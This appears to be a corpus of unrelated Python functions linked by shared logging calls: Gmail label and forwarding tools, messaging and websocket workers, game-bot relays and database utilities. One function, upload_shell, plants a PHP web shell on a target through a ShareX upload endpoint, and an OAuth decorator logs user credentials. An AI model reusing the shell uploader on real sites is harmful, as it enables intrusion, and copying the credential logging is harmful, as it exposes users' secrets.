def apply_rule(self, rule, field, message_id, label_id, resource): """ Busca una regla a aplicar en el subject del mensaje. :param rule: Regla a aplicar. :param field: Campo a aplicar la regla. :param message_id: Identificador del mensaje. :param label_id: Identificador de la label. :param resource: Recurso Gmail API. """ from re import MULTILINE, IGNORECASE, search from core.logger import Logger matches = search(rule, field, MULTILINE | IGNORECASE) if matches: Logger.info("Labeling message: {}".format(message_id)) # Modificamos el mensaje. resource.modify( id=message_id, body={ "addLabelIds": [label_id], # Añadimos la etiqueta indicada. "removeLabelIds": ["INBOX"] # Quitamos el mensaje del inbox. } ) return True return False
def _post_message(self, message): """ Send the given message to the Facebook Messenger platform. :param message: The message to post. :return: The Facebook Messenger response. """ from core.logger import Logger from google.appengine.api import urlfetch from json import dumps try: # Post the message to the Facebook Messenger platform. r = urlfetch.fetch(url=self._fb_messenger_api_url, method=urlfetch.POST, headers={"Content-Type": "application/json"}, payload=dumps(message)) # Parse the response. response = r.content if r.status_code == 200 else None Logger.info("Facebook response:\n%s" % response) # In case of error. except BaseException as e: Logger.error(e) response = None # Return the parsed response. return response
class GridnetWorker: def __init__(self, queue, url): self.logger = Logger(__name__) self.queue = queue self.url = url self.running = False self.ws = None def run(self): self.running = True self.ws = create_connection(self.url) self.logger.info("Connected to Gridnet!") result = self.ws.recv() while result and self.running: self.queue.append(DictObject(json.loads(result))) result = self.ws.recv() if self.ws.connected: self.ws.close() self.logger.info("Disconnected from Gridnet") def stop(self): self.running = False self.ws.close()
def authorize(self, email): """ Autoriza el buzón de correo indicado. :param email: Identificador de buzón de correo. :return: El buzón de correo autorizado. """ from managers.pending_authorization import PendingAuthorizationManager from core.logger import Logger try: entity = self.get_by_email(email) if entity is not None: Logger.info("It's authorized: {}".format(entity.is_authorized)) # Marcamos el buzón como autorizado. entity.is_authorized = True entity.updated_by = self._user entity.put() # Obtenemos el diccionario que representa el buzón actualizado. entity = entity.to_dict() # Eliminamos la autorización. PendingAuthorizationManager.delete(entity["user_id"]) except Exception as e: Logger.error(e) raise e return entity
class Channel(object): def __init__(self, parent, host='127.0.0.1', port=6668, name='undefined', topic='undefined'): self.notify = Logger( 'Channel') # TODO - generate unique hashes for each channel? self.parent = parent self.host = host self.port = port self.name = name self.topic = topic def setup_channel(self): self.notify.warning('attempting to establish connection to server...') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((self.host, self.parent.port)) s.sendall(bytes([1])) try: data = s.recv(4096) self.notify.debug('received data - {}'.format(data)) self.handle_data(Packet(data)) except Exception as e: raise Exception(e) def handle_data(self, packet): if packet.data[0] == 2: self.notify.info('successfully established connection to server!')
def _post_message(self, message): """ Send the given message to the Facebook Messenger platform. :param message: The message to post. :return: The Facebook Messenger response. """ from core.logger import Logger from google.appengine.api import urlfetch from json import dumps try: # Post the message to the Facebook Messenger platform. r = urlfetch.fetch( url=self._fb_messenger_api_url, method=urlfetch.POST, headers={"Content-Type": "application/json"}, payload=dumps(message) ) # Parse the response. response = r.content if r.status_code == 200 else None Logger.info("Facebook response:\n%s" % response) # In case of error. except BaseException as e: Logger.error(e) response = None # Return the parsed response. return response
def wrapper(request_handler, *args, **kwargs): # Almacenamos la URL de origen. self._origin = request_handler.request.path # Obtenemos las credenciales del usuario en sesión a partir de su almacén. storage = self.get_storage_for_user_in_request(request_handler) credentials = storage.get() Logger.info("Credentials...{}".format(credentials)) Logger.info("Origin......{}".format(self._origin)) # Si no existen credenciales de usuario almacenadas o bien están caducadas. if credentials is None or credentials.access_token_expired: # Creamos un flujo OAuth. self.create_flow(request_handler) # Obtenemos la URL de autorización. authorize_url = self._flow.step1_get_authorize_url() # Llevamos al usuario a la pantalla de autorización. output = request_handler.redirect(authorize_url) # En caso contrario, ejecutamos el método decorado. else: output = method(request_handler, *args, **kwargs) return output
def _correct_coords(self, data: ExtractedData): last_five_data = self._last_ten_data.last_n( self.CHECK_LAST_N) # type: List[ExtractedData] avg_x = average([data.player_position[0] for data in last_five_data]) avg_y = average([data.player_position[1] for data in last_five_data]) actual_x = data.player_position[0] actual_y = data.player_position[1] deviation_x = abs(actual_x - avg_x) / avg_x deviation_y = abs(actual_y - avg_y) / avg_y if deviation_x > self.DEVIATION_THRESHOLD: X = [[data.player_position[1]] for data in last_five_data] Y = [[data.player_position[0]] for data in last_five_data] predictor = LinearRegression() predictor.fit(X, Y) new_x = predictor.predict([[data.player_position[1]]])[0][0] Logger.info("Correcting coordinate from {} to {}".format( actual_x, new_x)) data.player_position = (new_x, data.player_position[1]) if deviation_y > self.DEVIATION_THRESHOLD: X = [[data.player_position[0]] for data in last_five_data] Y = [[data.player_position[1]] for data in last_five_data] predictor = LinearRegression() predictor.fit(X, Y) new_y = predictor.predict([[data.player_position[0]]])[0][0] data.player_position = (data.player_position[0], new_y)
class WebsocketRelayWorker: def __init__(self, inbound_queue, url): self.logger = Logger(__name__) self.inbound_queue = inbound_queue self.url = url self.ws = None def run(self): self.ws = create_connection(self.url) self.logger.info("Connected to Websocket Relay!") result = self.ws.recv() while result: self.inbound_queue.append(result) result = self.ws.recv() self.ws.close() def send_message(self, message): if self.ws: self.ws.send(message) def close(self): if self.ws: self.ws.close()
class ArchiveDotOrg(object): def __init__(self): self.logger = Logger("archivedotorg").get() def is_valid_archive_url(self, url, date): archive_url = ARCHIVE_BASE_URL.format(date, url) try: response = urllib2.urlopen(archive_url) except urllib2.HTTPError, e: self.logger.info("Failed to open URL [{}]: [{}]".format(archive_url, e)) return False if response.code != 200: self.logger.error('Received an error code requesting URL: [{}] code: [{}]'.format(archive_url, response.code)) return False # if we don't get back an html file, it's probably not a 404 page, so just return true if response.headers.type != 'text/html': return True # only search for 404 if the page is html/ text html_doc = response.read() if ERROR_404 in html_doc: self.logger.debug("Archive URL [{}] is not valid as it contains 404:\n[{}]".format(archive_url, html_doc)) return False return True
class OakleyDbImporter(object): def __init__(self, connection_pool): self.logger = Logger(self.__class__.__name__).get() self.connection_pool = connection_pool def import_table(self, table_name, import_file): self.logger.info('importing table [{}] from file [{}]'.format( table_name, import_file)) with open(import_file, 'r') as my_file: rr = UnicodeReader(my_file) query = "INSERT INTO {} (".format(table_name) cnx = self.connection_pool.get_connection() # first line is header, column names # second line is header, column types processed_header = False processed_types = False field_types = [] for line in rr: if not processed_header: processed_header = True query += ','.join(line) query += ') VALUES (' data_str = '%s,' * len(line) query += data_str.rstrip(',') query += ')' elif processed_header and not processed_types: processed_types = True field_types = line else: cursor = cnx.cursor() for count in range(0, len(line)): if field_types[count] == 'INT' or field_types[ count] == 'BIT': line[count] = int(line[count]) elif field_types[count] == 'TIMESTAMP' and line[ count] == '0': line[count] = 0 self.logger.debug( "Updating model with query [%s] and data [%s]", query, line) cursor.execute(query, line) cnx.commit() cursor.close() self.connection_pool.release_connection(cnx) print 'Done'
def get(self): from core.logger import Logger # Almacenamos las credenciales de usuario contenidas en la petición. myself.store_credentials(self) Logger.info("Origin...{}".format(myself.get_origin())) # Navegamos a la URL de origen. self.redirect("/" if myself is None or myself.get_origin() is None else myself.get_origin())
def create_label(self, label): """ Crea una nueva etiqueta, estableciendo el buzón de correo indicado como padre. :param label: Etiqueta. :return: La etiqueta creada. """ from clients.gmail_api import GmailApiClient from core.logger import Logger from models.label import LabelDao try: # Comprobamos que los datos obligatorios vengan informados. if label.gmail_name is None: raise Exception("Label gmail_name cannot be empty.") # Establecemos el nombre de la etiqueta. gmail_name = label.gmail_name entity = self.get() # Obtenemos el acceso al recurso 'labels' de Gmail API. resource = GmailApiClient(entity.email).labels() # Obtenemos todas las etiquetas del buzón para, en caso de # existir ya, seleccionar dicha etiqueta en vez de crearla. mailbox_labels = resource.list() # Comprobamos si ya existe una etiqueta con el nombre propuesto. current_label = next((l for l in mailbox_labels["labels"] if l["name"].lower() == gmail_name.lower()), None) Logger.info("Current label: %s ", current_label) # Si no existe la creamos. if current_label is None: response = resource.create(body={ "name": gmail_name, "labelListVisibility": "labelShow", "messageListVisibility": "show" }) entity.updated_by = self._user # Añadimos el identificador obtenido. label_dao = LabelDao(**{"gmail_name": gmail_name, "gmail_id": response["id"]}) entity.labels.append(label_dao) Logger.info("Created label: {}".format(label_dao.to_dict())) else: raise Exception("This label is already in this account.") # manager.add_label(entity.gmail_id) entity.put() except Exception as e: Logger.error(e) raise e return entity
def get(self): """ Obtiene los mensajes del buzón correspondiente al día recién cerrado. """ from google.appengine.api import taskqueue from managers.sender_account import SenderAccountManager from managers.recipient_account import RecipientAccountManager from managers.group import GroupManager from core.logger import Logger from json import dumps # Obtenemos las cuentas emisoras activas y autorizadas. senders = filter(lambda x: x["is_active"] and x["is_authorized"], SenderAccountManager.list()) # Obtenemos las cuentas receptoras activas y autorizadas. recipients = filter(lambda x: x["is_active"] and x["is_authorized"], RecipientAccountManager.list()) # Obtenemos los grupos activos. active_groups = filter(lambda x: x["is_active"], GroupManager.list()) # Por cada cuenta emisora en las cuentas emisoras activas y autorizadas. for sender in senders: Logger.info("Sender for...{}".format(sender)) groups = [] # Por cada grupo a los cuales pertenecen las cuenta emisora. for group in sender["groups"]: # Si encontramos algún grupo activo de los cuales pertenece la cuenta emisora, lo almacenamos. if any([k for k in active_groups if k["id"] == group["id"]]): groups.append(group) # Si hemos encontrado algún grupo activo al cual pertenezca la cuenta emisora. if groups: sender_recipients = [] # Por cada cuenta receptora en las cuentas receptoras activas y autorizadas. for recipient in recipients: # Si encontramos algúna grupo entre los cuales pertenece la cuenta receptora, que esté activo # y a la vez en la cuenta emisora, lo almacenamos. if filter(lambda x: x in recipient["groups"], groups): sender_recipients.append(recipient) Logger.info("sender-recipient...{}".format(sender_recipients)) # Creamos la task. taskqueue.add( queue_name="message-management", url="/tasks/message/management", method="POST", params={ "recipient_accounts": dumps(sender_recipients), "sender_account": dumps(sender) } )
class GridnetWorker: def __init__(self, queue, url): self.logger = Logger(__name__) self.queue = queue self.url = url def run(self): ws = create_connection(self.url) self.logger.info("Connected to Gridnet!") result = ws.recv() while result: self.queue.append(DictObject(json.loads(result))) result = ws.recv() ws.close()
def __init__(self, user): """ Constructor de la clase. :param user: Usuario cuyas credenciales se usarán para conectar con Gmail API. :type user: str. """ from core.logger import Logger Logger.info("Initializing gmail client...") # Obtenemos las credenciales para el usuario dado. credentials = StorageByKeyName(CredentialsModel, user, "credentials").get() # Securizamos el cliente HTTP con ellas. http = credentials.authorize(httplib2.Http()) # Construimos el acceso a los recursos de Gmail API. self.resource = build("gmail", "v1", http=http) Logger.info("Gmail client initialized")
class WebsocketRelayWorker: def __init__(self, inbound_queue, url, user_agent): self.logger = Logger(__name__) self.inbound_queue = inbound_queue self.url = url self.ws = None self.user_agent = user_agent self.is_running = False def run(self): self.ws = create_connection(self.url, header={"User-Agent": self.user_agent}) self.logger.info("Connected to Websocket Relay!") self.is_running = True try: result = self.ws.recv() while result: obj = DictObject(json.loads(result)) self.inbound_queue.append(obj) result = self.ws.recv() except WebSocketConnectionClosedException as e: if self.is_running: self.logger.error("", e) self.ws.close() def send_message(self, message): if self.ws: self.ws.send(message) def send_ping(self): try: if self.ws: self.ws.ping() except WebSocketConnectionClosedException as e: self.logger.error("", e) self.close() def close(self): if self.ws: self.is_running = False self.ws.close()
def upload_shell(upload_url, form_name, secret, field_name, verbose, cache_enabled): """ Upload shell to target site """ res = ShareX.upload(upload_url, io.BytesIO(Shell.PAYLOAD.encode()), file_name=Exploit.MAGIC, form_name=form_name, secret=secret, field_name=field_name) res_code = res.status_code res_body = res.text.strip() if res.status_code != 200: if res_code == 403: Logger.error('target blocked file upload. waf?') elif res_code == 404: Logger.error('file upload endpoint not found') else: Logger.error('unknown response code') for error in ShareX.Errors: if error.value['content'].lower() in res_body.lower(): reason = error.value['reason'].lower() Logger.error(f'failed to upload shell: \x1b[95m{reason}') shell_url = Exploit.get_shell_url(res_body, upload_url) if not Exploit.check(shell_url): Logger.error('target does not appear vulnerable') Logger.success('php web shell uploaded') if verbose: Logger.info(f'location: \x1b[95m{shell_url}') if cache_enabled: Cache.save(upload_url, shell_url) Logger.success('results saved to cache') return shell_url
def send_message(self, message, user): """ Envía el mensaje dado. """ try: # Si el mensaje no viene dado como corresponde. if not isinstance(message, GmailApiClient.MessageMapper): raise TypeError("The given message is not an instance of Message class.") Logger.info("Sending the message...") Logger.info("Message: {}".format(message)) # Obtenemos el mensaje en bruto y lo enviamos. response = self.messages().send( userId=user, body={"raw": message.get_raw_message()} ) except (errors.HttpError, TypeError), e: Logger.error(e) raise e
def record(self, record_data: Dict[str, str]): self.waypoints = {'format': record_data['wp_format'], 'waypoints': []} signal.signal(signal.SIGINT, lambda *args: self.screen.stop_capturing()) signal.signal(signal.SIGTERM, lambda *args: self.screen.stop_capturing()) try: for screen in self.screen.capture(): data = self.extractor.extract_data_from_screen(screen) self._data_sanitizer.sanitize_data(data) current_position = Position(data.player_position[0], data.player_position[1]) if not self.waypoints['waypoints']: self.waypoints['waypoints'].append(data.player_position) else: last_recorded_coordinates = self.waypoints['waypoints'][ len(self.waypoints['waypoints']) - 1] last_recorded_position = Position( last_recorded_coordinates[0], last_recorded_coordinates[1]) if current_position.calculate_distance_from( last_recorded_position ) >= GlobalConfig.config.core.difference_between_two_waypoints: Logger.info('Recording position: ' + str(data.player_position)) self.waypoints['waypoints'].append( data.player_position) finally: Logger.info('Saving file to: {}'.format( record_data.get('waypoint', 'NO PATH'))) file = Path(record_data['waypoint']) if file.is_file(): self._save_if_file_exist(record_data) else: self._save_if_file_not_exist(record_data)
def delete_rule(self, label_id, rule_id): """ Elimina una regla de la label indicada. :param label_id: Identificador de la label. :param rule_id: Identificador de la regla. :return: El buzón actualizado. """ from core.logger import Logger entity = self.get() for idx, label in enumerate(entity.labels): if label.gmail_id == label_id: entity.labels[idx].rules = filter(lambda x: int(x.id) != int(rule_id), label.rules) Logger.info("rules...{}".format(filter(lambda x: int(x.id) != int(rule_id), label.rules))) entity.updated_by = self._user entity.put() break else: raise Exception() return entity
def update_label(self, label): """ Actualiza la label indicada. :param label: Diccionario que representa la label. :return: El buzón modificado. """ from clients.gmail_api import GmailApiClient from core.logger import Logger if "gmail_name" not in label or not label["gmail_name"]: raise Exception("The label must have a name.") if "gmail_id" not in label or not label["gmail_id"]: raise Exception("The label must have an id.") Logger.info("Gmail name...{} ... GmailID...{}".format(label["gmail_name"], label["gmail_id"])) entity = self.get() resource = GmailApiClient(entity.email).labels() for i in entity.labels: if i.gmail_id == label["gmail_id"]: updated_label = resource.update( id=i.gmail_id, body={ "name": label["gmail_name"], "labelListVisibility": "labelShow", "messageListVisibility": "show" } ) Logger.info("updated label:{}".format(updated_label)) entity.updated_by = self._user i.gmail_name = label["gmail_name"] break else: raise Exception("This label is not in this account.") entity.updated_by = self._user entity.put() return entity
def post(self): """ Obtiene los mensajes del buzón correspondiente al día recién cerrado. """ from core.logger import Logger from json import loads from clients.gmail_api import GmailApiClient try: # Obtenemos los datos de la petición. sender = loads(self.request.get("sender_account")) recipients = loads(self.request.get("recipient_accounts")) # Obtenemos los mensajes de la cuenta emisora. messages = self.find_messages(sender["email"]) resource = GmailApiClient(sender["email"]).messages() if messages: # Por cada mensaje encontrado. for message in messages: # Creamos un mensaje. mssg = GmailApiClient.Message(resource.get(id=message["id"])) # Creamos un mensaje para mappear el mensaje obtenido. mssg2 = GmailApiClient.MessageMapper() Logger.info(u"From address: {}".format(mssg.get_from())) Logger.info(u"Sender address: {}".format(mssg.get_sender())) # Seteamos los campos que nos interesan. mssg2.set_html_body(mssg.get_html_body()) mssg2.set_subject(mssg.get_from() + "$ " + mssg.get_subject()) mssg2.add_header("Return-Path", u"{}".format(mssg.get_from())) mssg2.add_header("X-Env-Sender", u"{}".format(mssg.get_from())) mssg2.from_address = u"{}".format(mssg.get_from()) Logger.info(u"New from: {}".format(mssg2.from_address)) # Agregamos los buzones receptores. for recipient in recipients: mssg2.add_recipient(recipient["email"]) sender_email = sender["email"] response = GmailApiClient(sender_email).send_message(mssg2, sender_email) # Si obtenemos respuesta, borramos los mensajes del buzón emisor. if response: GmailApiClient(sender_email).messages().delete( id=message["id"], userId=sender_email ) except Exception as e: Logger.error(e)
class OakleyForumDbExporter(object): def __init__(self, connection_pool): self.logger = Logger(self.__class__.__name__).get() self.connection_pool = connection_pool def export_database(self, export_path): export_name = 'sunglasses' self.logger.info( "Exporting whole database to export path [{}]".format(export_path)) query = "select f.name as family, s.name as model,m.name as colorway, m.framecolour as frame, l.name as lens, m.listprice," \ " m.sku, m.releasedate, m.retiredate, m.note, m.exclusive, m.signature from model m join lens l on" \ " m.lensid = l.id join style s on m.styleid=s.id join familystylemap x on x.styleid = s.id join" \ " family f on x.familyid = f.id" cnx = self.connection_pool.get_connection() cursor = cnx.cursor() cursor.execute(query) file_name = os.path.join(export_path, '{}.csv'.format(export_name)) self.logger.info("Export filename is [{}]".format(file_name)) headers = 'Type,Family,Model,Colorway,Frame,Lens,List Price,SKU,Release Date,Retire Date,Note:,Exclusive,Signature'.split( ',') with open(file_name, 'wb') as my_file: wr = UnicodeWriter(my_file) # header wr.writerow(headers) for item in cursor: item_list = list(item) item_list.insert(0, 'Sunglasses') for count in range(0, len(item_list)): if item_list[count] is None: item_list[count] = '' wr.writerow(item_list) cursor.close() self.connection_pool.release_connection(cnx) self.logger.info("Completed exporting table [{}]".format(export_name))
class DriverHandler(object): # 根据配置文件配置初始化 webdriver def init_driver(self, log_name): # 读入配置文件 config_handler = ConfigParser() path = os.path.dirname(os.path.abspath('.')) + '/config.ini' config_handler.read(path) # 获取日志记录器 self.logger = Logger(logger=log_name).get_logger() # 获取配置文件属性 browser_name = config_handler.get('BrowserType', 'BrowserName') self.logger.info('You have choose the %s browser to driver.' % browser_name) self.url = config_handler.get('TestDomain', 'URL') self.logger.info('The testing Domain is %s' % self.url) exe_file = config_handler.get('WebDriver', 'Path') quiet_mode = config_handler.get('QuietMode', 'value') if browser_name == 'Firefox': self.driver = webdriver.Firefox() elif browser_name == 'Chrome': # 谷歌浏览器是否启用静默模式 if (int(quiet_mode) == 1): options = webdriver.ChromeOptions() options.add_argument('headless') self.driver = webdriver.Chrome(options=options) else: self.driver = webdriver.Chrome(exe_file) elif browser_name == 'IE': self.driver = webdriver.Ie(exe_file) return self.driver # 关闭并退出浏览器 def close_driver(self): self.logger.info('It\'s time to close the webdriver') self.driver.quit()
if retry_interval < 60 * 30: retry_interval = int(retry_interval * 1.3) # Ensure we never go over 30 minutes if retry_interval > 60 * 30: retry_interval = 60 * 30 log.warn('Unable to authentication with trakt.tv, will try again in %s seconds', retry_interval) schedule(cls.authenticate, retry_interval, retry_interval) else: log.warn('Authentication failed, username or password is incorrect') Main.update_config(False) return False log.info('Authentication successful') Main.update_config(True) return True def start(self): # Check for authentication token log.info('X-Plex-Token: %s', 'available' if os.environ.get('PLEXTOKEN') else 'unavailable') # Validate username/password spawn(self.authenticate) # Start modules names = [] for module in self.modules:
logger.info("upgrading db to version '%d'" % v) db.exec("UPDATE db_version SET version = ? WHERE file = 'db_version'", [v]) return v def get_version(): row = db.query_single( "SELECT version FROM db_version WHERE file = 'db_version'") if row: return int(row.version) else: return 0 version = get_version() logger.info("db at version '%d'" % version) if version == 0: db.exec( "INSERT INTO db_version (file, version, verified) VALUES ('db_version', ?, 1)", [0]) version = update_version(version) if version == 1: if table_exists("org_member"): db.exec( "ALTER TABLE org_member ADD COLUMN last_seen INT NOT NULL DEFAULT 0" ) version = update_version(version) if version == 2:
def __create_message(self): """ Construye un mensaje -email- con los datos almacenados en la instancia actual. :return: El mensaje como MIMEText o MIMEMultipart. """ try: Logger.info("Generating the message...") # Si se han indicado cuerpos tanto en texto plano como en HTML. if self.plain_body is not None and self.html_body is not None: message = MIMEMultipart("alternative") message.attach(MIMEText(self.plain_body, "plain")) message.attach(MIMEText(self.html_body, "html")) # Si solo se ha indicado el cuerpo en texto plano. elif self.plain_body is not None: message = MIMEText(self.plain_body, "plain") # Si solo se ha indicado el cuerpo en HTML. else: message = MIMEText(self.html_body, "html") Logger.info("Appending the attachments...") # Si existen adjuntos. if len(self.attachments) > 0: # El mensaje pasa a ser un MIMEMultipart con los cuerpos adjuntos. aux = message message = MIMEMultipart() message.attach(aux) # Por cada adjunto. for filename, content in self.attachments: # Obtenemos su mimetype. mimetype, encoding = mimetypes.guess_type(filename) if mimetype is None or encoding is not None: mimetype = "application/octet-stream" maintype, subtype = mimetype.split("/", 1) # Construimos el part correspondiente al adjunto en base al mimetype. if maintype == "text": part = MIMEText(content, _subtype=subtype) elif maintype == "image": part = MIMEImage(content, _subtype=subtype) elif maintype == "audio": part = MIMEAudio(content, _subtype=subtype) else: part = MIMEBase(maintype, subtype) part.set_payload(content) part.add_header("Content-Disposition", "attachment", filename=filename) # Añadimos el part del adjunto al principal. message.attach(part) Logger.info("Appending the headers...") # Añadimos las cabeceras comunes. message["Subject"] = self.subject message["From"] = self.from_address message["To"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.to_recipients]) message["Cc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.cc_recipients]) message["Bcc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.bcc_recipients]) Logger.info(u"Final from:{}".format(message["From"])) # Si existen otras cabeceras. if len(self.headers) > 0: # Las añadimos al part principal. for key, value in self.headers: message[key] = value Logger.info("Message generated successfully") Logger.info("The message: {}".format(message)) except Exception as e: Logger.error(e) raise e return message
class AllianceRelayController: relay_channel_id = None MESSAGE_SOURCE = "alliance" def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot: Tyrbot = registry.get_instance("bot") self.setting_service: SettingService = registry.get_instance( "setting_service") self.character_service: CharacterService = registry.get_instance( "character_service") self.message_hub_service = registry.get_instance("message_hub_service") self.public_channel_service = registry.get_instance( "public_channel_service") def pre_start(self): self.message_hub_service.register_message_source(self.MESSAGE_SOURCE) def start(self): self.setting_service.register( self.module_name, "arelay_symbol", "@", TextSettingType(["!", "#", "*", "@", "$", "+", "-"]), "Symbol for external relay") self.setting_service.register( self.module_name, "arelay_symbol_method", "with_symbol", TextSettingType(["Always", "with_symbol", "unless_symbol"]), "When to relay messages") self.setting_service.register(self.module_name, "arelay_bot", "", TextSettingType(allow_empty=True), "Bot for alliance relay") self.setting_service.register(self.module_name, "arelay_enabled", False, BooleanSettingType(), "Enable the alliance relay") self.setting_service.register(self.module_name, "arelay_guild_abbreviation", "", TextSettingType(allow_empty=True), "Abbreviation to use for org name") self.setting_service.register(self.module_name, "arelay_color", "#C3C3C3", ColorSettingType(), "Color of messages from relay") self.setting_service.register( self.module_name, "arelay_command_prefix", "!agcr", TextSettingType(["!agcr", "gcr", "grc"]), "Command prefix to use when sending and receiving messages") self.message_hub_service.register_message_destination( self.MESSAGE_SOURCE, self.handle_relay_hub_message, ["org_channel"], [self.MESSAGE_SOURCE]) self.bot.register_packet_handler( server_packets.PrivateChannelInvited.id, self.handle_private_channel_invite, 100) self.bot.register_packet_handler( server_packets.PrivateChannelMessage.id, self.handle_private_channel_message) def handle_private_channel_invite( self, conn: Conn, packet: server_packets.PrivateChannelInvited): if not conn.is_main: return if not self.setting_service.get("arelay_enabled").get_value(): return channel_name = self.character_service.get_char_name( packet.private_channel_id) if self.setting_service.get_value( "arelay_bot").lower() == channel_name.lower(): conn.send_packet( client_packets.PrivateChannelJoin(packet.private_channel_id)) self.logger.info("Joined private channel {channel}".format( channel=channel_name)) self.relay_channel_id = packet.private_channel_id def handle_private_channel_message( self, conn: Conn, packet: server_packets.PrivateChannelMessage): if not conn.is_main: return if not self.setting_service.get("arelay_enabled").get_value(): return # ignore packets from the bot's own private channel and from the bot itself if packet.private_channel_id == conn.get_char_id( ) or packet.char_id == conn.get_char_id(): return message = packet.message.lstrip() command_prefix = self.setting_service.get( "arelay_command_prefix").get_value() if not message.startswith(command_prefix + " "): return message = message[len(command_prefix) + 1:] formatted_message = self.setting_service.get( "arelay_color").format_text(message) # sender is not the bot that sent it, but rather the original char that sent the message # given the format of !agcr messages, it could be possible to parse the sender for the message # but currently this is not done sender = None self.message_hub_service.send_message(self.MESSAGE_SOURCE, sender, None, formatted_message) def handle_relay_hub_message(self, ctx): if not self.setting_service.get("arelay_enabled").get_value(): return method = self.setting_service.get_value("arelay_symbol_method") symbol = self.setting_service.get_value("arelay_symbol") plain_msg = ctx.message or ctx.formatted_message if method == "unless_symbol" and plain_msg.startswith(symbol): return elif method == "with_symbol": if not plain_msg.startswith(symbol): return else: # trim symbol from message plain_msg = plain_msg[len(symbol):] conn = self.bot.get_primary_conn() org = self.setting_service.get_value( "arelay_guild_abbreviation") or conn.get_org_name( ) or conn.get_char_name() msg = "[{org}] {char}: {msg}".format(org=org, char=ctx.sender.name, msg=plain_msg) self.send_message_to_alliance(msg) def send_message_to_alliance(self, msg): if self.relay_channel_id: command_prefix = self.setting_service.get( "arelay_command_prefix").get_value() self.bot.send_private_channel_message( command_prefix + " " + msg, private_channel_id=self.relay_channel_id, add_color=False, conn=self.bot.get_primary_conn())
class PublicChannelService: ORG_CHANNEL_COMMAND_EVENT = "org_channel_command" ORG_CHANNEL_MESSAGE_EVENT = "org_channel_message" ORG_MSG_EVENT = "org_msg" ORG_CHANNEL_COMMAND = "org" ORG_MSG_CHANNEL_ID = 42949672961 def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot = registry.get_instance("bot") self.db = registry.get_instance("db") self.event_service = registry.get_instance("event_service") self.character_service = registry.get_instance("character_service") self.setting_service = registry.get_instance("setting_service") self.command_service = registry.get_instance("command_service") def pre_start(self): self.bot.register_packet_handler(server_packets.LoginOK.id, self.handle_login_ok) self.bot.register_packet_handler(server_packets.PublicChannelJoined.id, self.add) self.bot.register_packet_handler(server_packets.PublicChannelLeft.id, self.remove) self.bot.register_packet_handler( server_packets.PublicChannelMessage.id, self.public_channel_message) self.event_service.register_event_type(self.ORG_CHANNEL_COMMAND_EVENT) self.event_service.register_event_type(self.ORG_CHANNEL_MESSAGE_EVENT) self.event_service.register_event_type(self.ORG_MSG_EVENT) self.command_service.register_command_channel("Org Channel", self.ORG_CHANNEL_COMMAND) def start(self): self.db.exec( "CREATE TABLE IF NOT EXISTS org_name_cache (org_id INT NOT NULL, name VARCHAR(255) NOT NULL)" ) def handle_login_ok(self, conn: Conn, packet: server_packets.LoginOK): if not conn.is_main: return def add(self, conn: Conn, packet: server_packets.PublicChannelJoined): if not conn.is_main: return conn.channels[packet.channel_id] = packet if not conn.org_id and self.is_org_channel_id(packet.channel_id): conn.org_channel_id = packet.channel_id conn.org_id = 0x00ffffffff & packet.channel_id row = self.db.query_single( "SELECT name FROM org_name_cache WHERE org_id = ?", [conn.org_id]) if packet.name != "Clan (name unknown)": source = "chat_server" if not row: self.db.exec( "INSERT INTO org_name_cache (org_id, name) VALUES (?, ?)", [conn.org_id, packet.name]) elif packet.name != row.name: self.db.exec( "UPDATE org_name_cache SET name = ? WHERE org_id = ?", [packet.name, conn.org_id]) conn.org_name = packet.name elif row: source = "cache" conn.org_name = row.name else: source = "none" self.logger.info( f"Org info for '{conn.id}': {conn.org_name} ({conn.org_id}); source: '{source}'" ) def remove(self, conn: Conn, packet: server_packets.PublicChannelLeft): if not conn.is_main: return del conn.channels[packet.channel_id] def public_channel_message(self, conn: Conn, packet: server_packets.PublicChannelMessage): if not conn.is_main: return if conn.org_channel_id == packet.channel_id: char_name = self.character_service.get_char_name(packet.char_id) if packet.extended_message: message = packet.extended_message.get_message() else: message = packet.message self.logger.log_chat(conn, "Org Channel", char_name, message) if conn.char_id == packet.char_id: return if not self.handle_public_channel_command(conn, packet): self.event_service.fire_event( self.ORG_CHANNEL_MESSAGE_EVENT, DictObject({ "char_id": packet.char_id, "name": char_name, "message": message, "extended_message": packet.extended_message, "conn": conn })) elif packet.channel_id == self.ORG_MSG_CHANNEL_ID: char_name = self.character_service.get_char_name(packet.char_id) if packet.extended_message: message = packet.extended_message.get_message() else: message = packet.message self.logger.log_chat(conn, "Org Msg", char_name, message) self.event_service.fire_event( self.ORG_MSG_EVENT, DictObject({ "char_id": packet.char_id, "name": char_name, "message": packet.message, "extended_message": packet.extended_message, "conn": conn })) def handle_public_channel_command( self, conn: Conn, packet: server_packets.PublicChannelMessage): if not self.setting_service.get("accept_commands_from_slave_bots" ).get_value() and not conn.is_main: return False # since the command symbol is required in the org channel, # the command_str must have length of at least 2 in order to be valid, # otherwise it is ignored if len(packet.message) < 2: return False # ignore leading space message = packet.message.lstrip() def reply(msg): self.bot.send_org_message(msg, conn=conn) self.event_service.fire_event( self.ORG_CHANNEL_COMMAND_EVENT, DictObject({ "char_id": None, "name": None, "message": msg, "conn": conn })) if message.startswith(self.setting_service.get("symbol").get_value() ) and conn.org_channel_id == packet.channel_id: char_name = self.character_service.get_char_name(packet.char_id) self.event_service.fire_event( self.ORG_CHANNEL_COMMAND_EVENT, DictObject({ "char_id": packet.char_id, "name": char_name, "message": packet.message, "conn": conn })) self.command_service.process_command( self.command_service.trim_command_symbol(message), self.ORG_CHANNEL_COMMAND, packet.char_id, reply, conn) return True else: return False def is_org_channel_id(self, channel_id): return channel_id >> 32 == 3
